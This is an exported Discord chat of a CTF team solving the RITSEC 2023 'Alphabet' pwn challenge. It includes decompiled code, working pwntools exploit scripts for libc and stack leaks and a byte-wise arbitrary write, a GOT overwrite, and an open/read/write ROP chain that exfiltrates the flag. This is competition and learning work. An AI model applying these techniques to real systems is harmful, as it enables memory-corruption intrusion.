Guild icon
Project Sekai
🔒 RITSEC CTF 2023 / ✅-bin-pwn-alphabet
Avatar
Alphabet - 500 points
Category: Bin-Pwn Description: Created by Battelle This new protocol let's you update the official English alphabet in real time! Easy as A#_ nc alphabet.challenges.ctf.ritsec.club 1337 Files:Tags: No tags.
Sutx pinned a message to this channel. 03/31/2023 9:02 AM
Avatar
@chenx3n wants to collaborate 🤝
09:41
@retr0 wants to collaborate 🤝
Avatar
i have some work to do i'll join this challenge later
Avatar
okay good luck
Avatar
@Rasser wants to collaborate 🤝
Avatar
apart from the one byte overflow in global_alphabet (overflows into first byte of stdout), i cant find anything relevant
Avatar
@hfz wants to collaborate 🤝
Avatar
Avatar
chenx3n
apart from the one byte overflow in global_alphabet (overflows into first byte of stdout), i cant find anything relevant
FILE struct hijacking kind of things?
11:50
Allowed syscalls: - read - write - open - mmap - munmap - brk - mprotect - newfstatat - openat (edited)
Avatar
Avatar
hfz
FILE struct hijacking kind of things?
i guess but i really dont see how
11:55
we dont have a write into the actual stdout struct
11:55
just the bss pointer
Avatar
calc_checksum allocates a heap chunk for a reason I think
11:57
__int64 __fastcall calc_checksum(char *buff, int idx) { unsigned __int8 result; // [rsp+1Bh] [rbp-15h] int i; // [rsp+1Ch] [rbp-14h] char *chunk; // [rsp+20h] [rbp-10h] chunk = (char *)malloc(idx); memcpy(chunk, buff, idx); result = 0; for ( i = 0; i < idx - 1; ++i ) result += chunk[i] ^ 0x55; free(chunk); return result; }
11:57
it could've just used buff to calculate the checksum
11:57
it's kinda "useless" to allocate the chunk
Avatar
I think we have a memory leak
12:25
if ( a <= 18 && b <= 18 ) { alphabet_start_at_i = qword_404088; *(_QWORD *)(buff + 18) = global_alphabet; *(_QWORD *)(buff + 26) = alphabet_start_at_i; strcpy(buff + 34, "qrstuvwxyz"); *(_QWORD *)chunk = *(_QWORD *)&buff[a + 18]; printf("Grabbed new alphabet characters: %s\n", chunk); *(_QWORD *)&buff[b + 18] = *(_QWORD *)chunk; puts("Placed new letters into alphabet"); v4 = *(_QWORD *)(buff + 26); global_alphabet = *(_QWORD *)(buff + 18); qword_404088 = v4; qword_404090 = *(_QWORD *)(buff + 34); word_404098 = *((_WORD *)buff + 21); byte_40409A = buff[44]; puts("Updated the alphabet"); free(chunk); return 0LL; }
12:25
a and b can be negative
12:25
so with a + 18 part we can read from arbitrary memory
Avatar
oh ur decompilation is so much better
12:26
im having dinner, ill get back to it later
Avatar
I can confirm a leak
❤️ 1
Avatar
Avatar
chenx3n
im having dinner, ill get back to it later
bsahtek lhadj
❤️ 1
Avatar
Avatar
hfz
I can confirm a leak
khchin
😂 1
12:58
nsalli tarawi7 wnji
Avatar
all right
12:59
Yeah we also have an arbitrary write, it's gg
12:59
first index for reading, 2nd for writing
13:01
we can't use one gadget though because of execve ban
Avatar
libc base leaked
13:22
we can write a rop chain 8 bytes at a time then overwrite the return address to jump to that chain
Avatar
could you guys finish this or i need to call piers?
Avatar
it's doable, dw
Avatar
i literally just came back
😂 1
Avatar
@hfz yadra
Avatar
#!/usr/bin/python3 from pwn import * import struct # _IO_file_overflow+259 LEAK_OFFSET = 0x8cf43 elf = ELF("alphabet.bin") libc = ELF("libc.so.6") p = process(elf.path) # leak libc base p.recvuntil(b"threads\n") a = struct.pack("q", -(18 + 29*8)) b = struct.pack("q", 0) # attach(p) # input() payload = b"Z\x08" + a + b checksum = bytearray([sum(i^0x55 for i in payload) & 0xff]) p.sendline(payload + checksum) p.recvline() leak = u64(p.recvline().split(b": ", 1)[1].strip().ljust(8, b"\x00")) libc.address = leak - LEAK_OFFSET p.info(f"libc base @ {libc.address:#x}")
15:12
leak only for now
15:12
we can write with the 2nd index (b)
Avatar
whats wrong with writing
Avatar
the what part in write *what* where
Avatar
lmao
Avatar
*(_QWORD *)chunk = *(_QWORD *)&buff[a + 18]; printf("Grabbed new alphabet characters: %s\n", chunk); *(_QWORD *)&buff[b + 18] = *(_QWORD *)chunk;
15:13
we're writing whatever is in buff[a + 18]
Avatar
but we control that, no?
Avatar
yes and no because: alphabet_start_at_i = qword_404088; *(_QWORD *)(buff + 18) = global_alphabet; *(_QWORD *)(buff + 26) = alphabet_start_at_i; strcpy(buff + 34, "qrstuvwxyz"); *(_QWORD *)chunk = *(_QWORD *)&buff[a + 18]; printf("Grabbed new alphabet characters: %s\n", chunk); *(_QWORD *)&buff[b + 18] = *(_QWORD *)chunk;
15:15
it's overwritten with global_alphabet
Avatar
shit
15:16
wait
15:16
not necessarily
15:16
*(_QWORD *)(buff + 18) = global_alphabet;
15:16
buff + 18
15:16
not buff[b + 18]
Avatar
a can be < 19, so if a is 18, we're taking what's in buff[36], which is stuvwxyz (edited)
15:19
Our buffer follows this structure: [`Z\x08`] [ `a index`] [ `b index`] [ `rest` ] 2 bytes 8 bytes 8 bytes (edited)
Avatar
yeah
15:19
i see i see
Avatar
rest will get assigned global_alphabet
Avatar
yeah
Avatar
@hfz cant we use global_alphabet as our what? since global_alphabet gets updated with what we have in buf
Avatar
maybe yeah, I think debugging a bit will help
15:43
I'm confused
Avatar
me too yeah xd
Avatar
u're right, the "what" is a problem
Avatar
@IceCreamMan wants to collaborate 🤝
Avatar
TL;DR: we can set a negative index, the first index is for reading, the second for writing
Avatar
Avatar
hfz
Our buffer follows this structure: [`Z\x08`] [ `a index`] [ `b index`] [ `rest` ] 2 bytes 8 bytes 8 bytes (edited)
.
Avatar
IceCreamMan 03/31/2023 5:29 PM
ok
Avatar
i might have an idea
17:46
since we can index byte by byte
17:46
we'll have to write our rop or whatever byte by byte
17:46
so instead of finding useful pointers in stack
17:46
we try to find the bytes that constitute whatever pointer we're trying to write
17:47
i think stack is big enough for us to find all values we need
17:47
especially if we're targetting GOT
17:48
since seccomp is set in place, to do any kind of useful ROP we'll need all of flexibility in our payload
17:49
i dont think the technique i cited guarantees that
17:49
so if we could somehow instead target GOT to overwrite some function with gets that would be dope
17:49
ill see how far gets is from fgets
17:50
gets - fgets = 0x1050
17:51
not too far but aslr would ruin us in finding the correct bytes
17:51
plus fgets is called in main
17:51
and main never returns
Avatar
IceCreamMan 03/31/2023 5:54 PM
sorry i am still catching up and tinkering with the binary.
Avatar
Avatar
hfz
Allowed syscalls: - read - write - open - mmap - munmap - brk - mprotect - newfstatat - openat (edited)
IceCreamMan 03/31/2023 5:55 PM
btw the allowed syscalls can give open read write according to hfz
👍 1
Avatar
np take ur time
Avatar
IceCreamMan 03/31/2023 5:56 PM
so should be enough to do something. i am thinking of writing flag.txt into the globals and using open read write to do something
👍 1
17:56
ok let me go back to playing with it.
👌 1
Avatar
writing byte by byte is doable technically
17:58
we could just fix some offsets in libc with all 256 bytes and use them
✅ 1
Avatar
@crazyman ai wants to collaborate 🤝
Avatar
I built a primitive for writing byte by byte
18:22
it's working
Avatar
nice
Avatar
now we build a rop chain anywhere on the stack, then overwrite the return address, right?
Avatar
well yes
18:23
thats how it should go
Avatar
#!/usr/bin/python3 from pwn import * import struct # _IO_file_overflow+259 LEAK_OFFSET = 0x8cf43 elf = ELF("alphabet.bin") libc = ELF("libc.so.6") content = open("libc.so.6", "rb").read() libc_offsets = {i: content.index(i) for i in range(256)} p = process(elf.path) def write_byte(byte: int, offset: int): what_addr = libc.address + libc_offsets[byte] p.recvuntil(b"threads\n") a = struct.pack("q", -(18 + (buff_addr - what_addr))) b = struct.pack("q", -(18 + 0x1000 - offset)) payload = b"Z\x08" + a + b checksum = bytearray([sum(i^0x55 for i in payload) & 0xff]) p.sendline(payload + checksum) # attach(p); input() # # leak libc base # p.recvuntil(b"threads\n") a = struct.pack("q", -(18 + 29*8)) b = struct.pack("q", 0) payload = b"Z\x08" + a + b checksum = bytearray([sum(i^0x55 for i in payload) & 0xff]) p.sendline(payload + checksum) p.recvline() leak = u64(p.recvline().split(b": ", 1)[1].strip().ljust(8, b"\x00")) libc.address = leak - LEAK_OFFSET p.info(f"libc base @ {libc.address:#x}") # # leak buffer address # p.recvuntil(b"threads\n") a = struct.pack("q", -(18 + 2*8)) b = struct.pack("q", 0) payload = b"Z\x08" + a + b checksum = bytearray([sum(i^0x55 for i in payload) & 0xff]) p.sendline(payload + checksum) p.recvline() buff_addr = u64(p.recvline().split(b": ", 1)[1].strip().ljust(8, b"\x00")) p.info(f"controlled buffer @ {buff_addr:#x}") # # arbitrary write # for i, c in enumerate(b"MAGICSTRING"): write_byte(c, i) p.recvuntil(b"threads\n") a = struct.pack("q", -(18 + 0x1000)) b = struct.pack("q", 0) payload = b"Z\x08" + a + b checksum = bytearray([sum(i^0x55 for i in payload) & 0xff]) p.sendline(payload + checksum) p.recvline() print(p.recvline()) p.interactive()
18:23
current code
18:25
I think we shouldn't place our rop chain on a random place, since we can't overwrite the return address in one shot
18:26
we should overwrite like the 2nd LSB of the return address, and write our rop chain there
Avatar
Avatar
hfz
I think we shouldn't place our rop chain on a random place, since we can't overwrite the return address in one shot
yeah i was gonna say that
Avatar
Avatar
hfz
we should overwrite like the 2nd LSB of the return address, and write our rop chain there
wait i dont get it
Avatar
oh lol nvm
18:27
forgot the return address is a on a completely different segment 😂
18:27
and read only xd
Avatar
we'll figure it out
18:28
lets just think it through
Avatar
we can't break from the main's while loop, right?
Avatar
nope
18:32
btw @hfz whats the reason behind 0x1000 in (-18 + 0x1000), what does it represent in the stack
Avatar
It's just writing the data 0x1000 bytes below our buffer
Avatar
ah okay
18:32
makes sense
Avatar
I'm replacing it with an arbitrary address
Avatar
yeah
Avatar
so we can write to GOT if needed
18:33
to put file name
Avatar
yeah
Avatar
Avatar
hfz
used /syscalls
id: 2 Name: open rax: 0x02 rdi: const char *filename rsi: int flags rdx: umode_t mode r10: - r8: - r9: - Definition: fs/open.c
18:42
id: 0 Name: read rax: 0x00 rdi: unsigned int fd rsi: char *buf rdx: size_t count r10: - r8: - r9: - Definition: fs/read_write.c
18:42
id: 1 Name: write rax: 0x01 rdi: unsigned int fd rsi: const char *buf rdx: size_t count r10: - r8: - r9: - Definition: fs/read_write.c
Avatar
i think we need to use mprotect to mark stack as executable
Avatar
Avatar
chenx3n
i think we need to use mprotect to mark stack as executable
ah
18:43
nice catch
Avatar
then it'll be easier to do open read write
18:43
now which got victim works best for mprotect :/
Avatar
Avatar
hfz
I think we shouldn't place our rop chain on a random place, since we can't overwrite the return address in one shot
IceCreamMan 03/31/2023 6:43 PM
you can possibly do that if you leak a stack address first, then do the byte by byte way to write the full pointer for the return address on the stack first, then i think may be possible to replace the return address in one shot
Avatar
we leaked a stack address
Avatar
IceCreamMan 03/31/2023 6:44 PM
mmm
Avatar
the fact that they didn't give the flag path bothers me
18:45
open syscall supports directories iirc?
Avatar
IceCreamMan 03/31/2023 6:45 PM
should be flag.txt
Avatar
Avatar
hfz
the fact that they didn't give the flag path bothers me
they did, check dockerfile
Avatar
Ah, true
18:46
didn't see that lol
Avatar
COPY flag.txt /srv/app/
18:46
I wrote flag.txt to .bss (0x404000)
18:46
we just need to rop I guess
18:47
or do a shellcode
Avatar
thought about overwriting got[fgets] with mprotect
18:47
but the 3rd parameter (prot) has to to end in 111 (bits)
18:47
but stdin is 0x10 aligned 😦
Avatar
but fgets is called every loop iteration
18:47
how would you do 1 by 1 overwrite?
Avatar
thats more of a reason not to use it lmao
Avatar
Avatar
hfz
used /chatgpt
What's O_RDONLY value O_RDONLY is a constant value defined in the header file "fcntl.h" in the C programming language. It is used as a flag to indicate that a file should be opened for reading only. The value of O_RDONLY is typically defined as 0.
Avatar
forgot I can use pwntools directly
18:50
memcpy is another candidate but the second argument is a pointer to the source buffer, while 2nd arg of mprotect is length, so pretty sure it would fail when it sees very large length
Avatar
Avatar
hfz
#!/usr/bin/python3 from pwn import * import struct # _IO_file_overflow+259 LEAK_OFFSET = 0x8cf43 elf = ELF("alphabet.bin") libc = ELF("libc.so.6") content = open("libc.so.6", "rb").read() libc_offsets = {i: content.index(i) for i in range(256)} p = process(elf.path) def write_byte(byte: int, offset: int): what_addr = libc.address + libc_offsets[byte] p.recvuntil(b"threads\n") a = struct.pack("q", -(18 + (buff_addr - what_addr))) b = struct.pack("q", -(18 + 0x1000 - offset)) payload = b"Z\x08" + a + b checksum = bytearray([sum(i^0x55 for i in payload) & 0xff]) p.sendline(payload + checksum) # attach(p); input() # # leak libc base # p.recvuntil(b"threads\n") a = struct.pack("q", -(18 + 29*8)) b = struct.pack("q", 0) payload = b"Z\x08" + a + b checksum = bytearray([sum(i^0x55 for i in payload) & 0xff]) p.sendline(payload + checksum) p.recvline() leak = u64(p.recvline().split(b": ", 1)[1].strip().ljust(8, b"\x00")) libc.address = leak - LEAK_OFFSET p.info(f"libc base @ {libc.address:#x}") # # leak buffer address # p.recvuntil(b"threads\n") a = struct.pack("q", -(18 + 2*8)) b = struct.pack("q", 0) payload = b"Z\x08" + a + b checksum = bytearray([sum(i^0x55 for i in payload) & 0xff]) p.sendline(payload + checksum) p.recvline() buff_addr = u64(p.recvline().split(b": ", 1)[1].strip().ljust(8, b"\x00")) p.info(f"controlled buffer @ {buff_addr:#x}") # # arbitrary write # for i, c in enumerate(b"MAGICSTRING"): write_byte(c, i) p.recvuntil(b"threads\n") a = struct.pack("q", -(18 + 0x1000)) b = struct.pack("q", 0) payload = b"Z\x08" + a + b checksum = bytearray([sum(i^0x55 for i in payload) & 0xff]) p.sendline(payload + checksum) p.recvline() print(p.recvline()) p.interactive()
IceCreamMan 03/31/2023 6:54 PM
hfz could you send me the libc too? i didnt run the docker
18:55
here u go
18:55
the binary is patched too
Avatar
my libc is unstripped 😎
Avatar
IceCreamMan 03/31/2023 6:58 PM
Thanks!
Avatar
damn we also need to ensure our payload doesn't contain \n 😵💫
Avatar
yeah 😢
Avatar
why pwn is so hard
Avatar
my daily motto ^
😂 1
Avatar
IceCreamMan 03/31/2023 7:15 PM
you guys are almost there haha (edited)
19:15
🤣
Avatar
i couldn't colaborate in this task, i'm hosting a ctf ftm. but as @IceCreamMan said, you are almost there guys 😂 🚩 .
😂 2
Avatar
good luck with the ctf
💯 1
19:19
19:19
I could write a rop chain
❤️ 1
19:20
didn't bother fixing my code to be 100% reliable
19:20
but should work after some attempts (to avoid new line)
Avatar
so it worked?
Avatar
now how to overwrite return address
19:21
lmao
Avatar
hahah, yeah still
19:21
1 more problem to go
Avatar
forgot about it yeah
19:21
stack pivoting
19:21
but how
19:22
oh man its 4AM i can hardly use my brain
19:22
literally forgot how stack pivoting works
19:22
i think we need a leave ret gadget
19:22
iirc
19:23
maybe overwrite the lsb of retaddr so that it points to leave; ret and hope it somehow lands on the payload
19:23
thats what i like to call insha'allah rop
19:24
moonshot
😂 2
Avatar
send me ur most recent exploit pls
Avatar
shit i also had an idea now
Avatar
it's ugly, watch out
19:27
what kind of idea
Avatar
overwrite got[fgets] with gets
19:27
use gets to write whatever ROP we need
19:27
tho it will still be in main
Avatar
if only we can reach gets from fgets with a 1 byte swap (edited)
Avatar
what we do, we also overwrite use_packet's retaddr so it points to leave; ret
19:28
that way it pivots the stack to main's frame
Avatar
Avatar
chenx3n
overwrite got[fgets] with gets
IceCreamMan 03/31/2023 7:28 PM
oh damn thats smart lol
Avatar
so we get our ROP working
Avatar
Avatar
hfz
if only we can reach gets from fgets with a 1 byte swap (edited)
yeah we need 2 bytes, but thats doable with ur arb write no?
Avatar
gets: 0x7fb7c4c805a0 fgets: 0x7fb7c4c7f400
Avatar
Avatar
chenx3n
yeah we need 2 bytes, but thats doable with ur arb write no?
but the arb write works 1 byte at a time
Avatar
FUCK
Avatar
Avatar
hfz
gets: 0x7fb7c4c805a0 fgets: 0x7fb7c4c7f400
3 fucking bytes
Avatar
it writes 1 byte on every loop iteration
Avatar
ah yeah
19:29
shit.exe
Avatar
IceCreamMan 03/31/2023 7:30 PM
haha random idea but we can probably overwrite rbp then s can point to GOT
19:30
🤣
Avatar
IceCreamMan 03/31/2023 7:31 PM
then we can avoid the one byte write
Avatar
that could work actually
19:31
i think
19:31
xD
19:31
my head is hurting
Avatar
IceCreamMan 03/31/2023 7:31 PM
haha you are working too hard for ctf 😂
😂 1
Avatar
nah this has become a regular headache for pwn chals
Avatar
I feel like we're complicating things but I don't want to go backwards either 😂
😂 1
19:38
also the fact that it got only 1 solve is motivating me to continue down that path
Avatar
yeah i think we can make it work
19:39
we just need to focus
Avatar
I confirmed the rop chain works as intended (I updated it btw), not reliable but it works
Avatar
nice
Avatar
# # build ROP chain # pop_rdx_rbx_ret = libc.address + 0x90529 pop_rdi_ret = libc.address + 0x2a3e5 pop_rsi_ret = libc.address + 0x2be51 pop_rax_ret = libc.address + 0x45eb0 syscall_ret = libc.address + 0x91396 rop_chain = [ # open("flag.txt", O_RDONLY); p64(pop_rdi_ret), p64(0x404000), p64(pop_rsi_ret), p64(constants.O_RDONLY), p64(pop_rax_ret), p64(0x2), p64(syscall_ret), # read(fd, buff, 0x100); p64(pop_rdi_ret), p64(3), p64(pop_rsi_ret), p64(buff_addr - 0x1000), p64(pop_rdx_rbx_ret), p64(0x100), p64(0), p64(pop_rax_ret), p64(0), p64(syscall_ret), # write(1, buff, 0x100); p64(pop_rdi_ret), p64(1), p64(pop_rsi_ret), p64(buff_addr - 0x1000), p64(pop_rdx_rbx_ret), p64(0x100), p64(0), p64(pop_rax_ret), p64(1), p64(syscall_ret), ]
Avatar
using syscalls is better ig
19:41
avoiding libc wrappers' funkiness
Avatar
yeah
19:46
got an idea
19:46
canary is on :d
Avatar
go ahead
Avatar
we overwrite got[__stack_check_fail] one byte at time (edited)
19:47
then 1 byte overwrite the canary
Avatar
overwrite stack_check_fail with what?
Avatar
stack pivoting seems feasible as you both said
Avatar
using ur exploit, did u reach a case where libc and stack are leaked correctly and the final rop doesnt contain newline?
Avatar
hmm, but that would affect main's stack frame
Avatar
Avatar
chenx3n
using ur exploit, did u reach a case where libc and stack are leaked correctly and the final rop doesnt contain newline?
yes
Avatar
i dont xd
Avatar
worst rng ever
Avatar
while :; python3 xpl.py; done and wait peepoo
Avatar
lol, i want to debug it tho
19:53
im using gdb.debug
Avatar
I have attach(p) after it succeeds
19:54
once it succeeds it should pop the debugger
Avatar
yeah i saw u doing that
19:54
for some reason i dont like gdb.attach
19:54
i forgot why tho
Avatar
holy shiiiiiiit
19:56
writing 1 byte at time on remote takes like 5 seconds
Avatar
relying on luck may not be so great
Avatar
fuck
Avatar
time to make it reliable i guess
Avatar
man if we can just overwrite got[fgets] with gets
19:57
that would be dope
Avatar
yeah, I really like the idea
19:57
but how lmao
Avatar
yeah we cant if we do it byte by byte
Avatar
IceCreamMan 03/31/2023 7:57 PM
hmm
19:57
wait
Avatar
IceCreamMan 03/31/2023 7:57 PM
i think use the arbitrary write to write on stack the full pointer
19:58
then can 8 bytes write
Avatar
can't we just write gets address to .bss
19:58
then write it back in one shot to got[fgets]?
Avatar
IceCreamMan 03/31/2023 7:58 PM
yea
Avatar
ah shit thats a good idea
Avatar
IceCreamMan 03/31/2023 7:58 PM
thats the plan
Avatar
Yeah, should work
Avatar
yeah thats what icecream suggested
Avatar
I see, nice catch
Avatar
lets go for it babyyyyy
19:58
then we'll worry about stack pivoting
Avatar
yeah let's do this then we'll deal with reliability
Avatar
yeah
Avatar
IceCreamMan 03/31/2023 7:59 PM
hmm i think we can just overwrite return address directly
19:59
with the rop gadgets address
19:59
true
Avatar
IceCreamMan 03/31/2023 7:59 PM
no need for stack pivot maybe
Avatar
wait how
19:59
we cant overwrite retaddr with a stack addr
Avatar
IceCreamMan 03/31/2023 7:59 PM
oh yeah we still need one hmm
20:00
sry
20:00
let me debug it haha
Avatar
pwn is hard 💀
20:00
i'm getting confused a lot rn
Avatar
same
Avatar
IceCreamMan 03/31/2023 8:00 PM
lol
20:00
ok last step!
20:01
in this case
20:01
can't we just overwrite strcpy's got entry with gets
20:01
?
20:01
20:01
shouldn't require pivoting in this case
Avatar
strcpy??
Avatar
yes, strcpy is used in use_packet
Avatar
there's no strcpy in my got table
20:02
IDA rick roll
20:02
my bad
Avatar
IceCreamMan 03/31/2023 8:02 PM
haha oh its a decompiler trick
20:02
haha
Avatar
LMAOOOOO
Avatar
there's memcpy
20:02
but first argument is a heap ptr
20:02
so useless
20:03
memcpy should do as well, no?
20:03
we do it at calc_checksum
Avatar
thats what i was referring to, but i said first ptr is a heap ptr
Avatar
ahh yes yes, true
Avatar
managed to overwrite got[fgets] with gets
20:15
ill try working out the pivoting stuff
20:15
the annoying thing is that gets also stops at newline
20:16
might instead use a combo of mprotect and shellcode to get that ORW working
20:16
should consume less bytes than rop chain
Avatar
mprotect's syscall is 0x0a 💀
Avatar
LMAO
20:17
fuck me
20:25
dont think gets can help much
20:25
it searches for the newline
20:26
which is needed for checksum later
20:26
so its kinda chaotic
20:27
go get some sleep, you'll dream about the solution
Avatar
lmao
20:27
man we're really close
20:27
sleep would be so sour without solving it
Avatar
u know what
20:31
no need to worry about '\n'
20:31
the for loop stops at 0x2d
20:32
tho i need to ensure that whatever value is in nl_idx works well with the checksum later
20:32
nl_idx is newline_index
20:33
logically it should be the last value
Avatar
what do you mean
Avatar
idk how to explain tbh xDDD
20:36
for (i = 0; i < 0x2d; i = i + 1) { if (buf[i] == '\n') { nl_idx = i; break; } }
20:37
with gets i can guarantee that newline is far away from position 0x2d
20:37
so it never enters the if
20:43
20:43
RIP controlled
20:43
ill try making the ropchain work
20:45
HOLY SHIT
20:45
IT FUCKING WORKED
20:45
locally
20:45
gonna try remote
20:45
Avatar
Avatar
chenx3n
used /ctf submit
✅ Well done, challenge solved!
Avatar
FUCK YEAAAAAAAAHHHHHHHH
Avatar
IceCreamMan 03/31/2023 8:48 PM
🛐
Avatar
@hfz ur rop chain worked on first try on remote LMAO
😂 1
Avatar
IceCreamMan 03/31/2023 8:48 PM
how did you rop pivot in the end?
Avatar
Avatar
IceCreamMan
how did you rop pivot in the end?
i overwrote the return address of use_packet with leave; ret gadget
20:49
and i had written my ROP in main by using gets (thats actually fgets xd)
Avatar
IceCreamMan 03/31/2023 8:49 PM
ohh
Avatar
IceCreamMan 03/31/2023 8:49 PM
leave; ret moves the stack downwards more?
Avatar
Avatar
IceCreamMan
leave; ret moves the stack downwards more?
yes
20:50
downwards or upwards, im always confused about that xd
20:50
but u get the point
Avatar
Avatar
chenx3n
downwards or upwards, im always confused about that xd
IceCreamMan 03/31/2023 8:50 PM
lol yeah hahah, i was planning to type "or upwards?" haha
😂 1
20:50
cool!
Avatar
ur idea for writing the full pointer in the stack was great
20:51
to avoid having to one shot it as a whole
20:51
i used that idea for writing the gets address on the stack
20:51
and the leave; ret address too
Avatar
IceCreamMan 03/31/2023 8:52 PM
strong
20:53
GOAT
20:54
gg guys
20:54
great team work
20:54
@chenx3n you can sleep now 😂
😂 1
Avatar
IceCreamMan 03/31/2023 8:54 PM
he wants to finish up the next pwn too HAHA
😂 1
Avatar
finally
Avatar
tomorrow
Exported 402 message(s)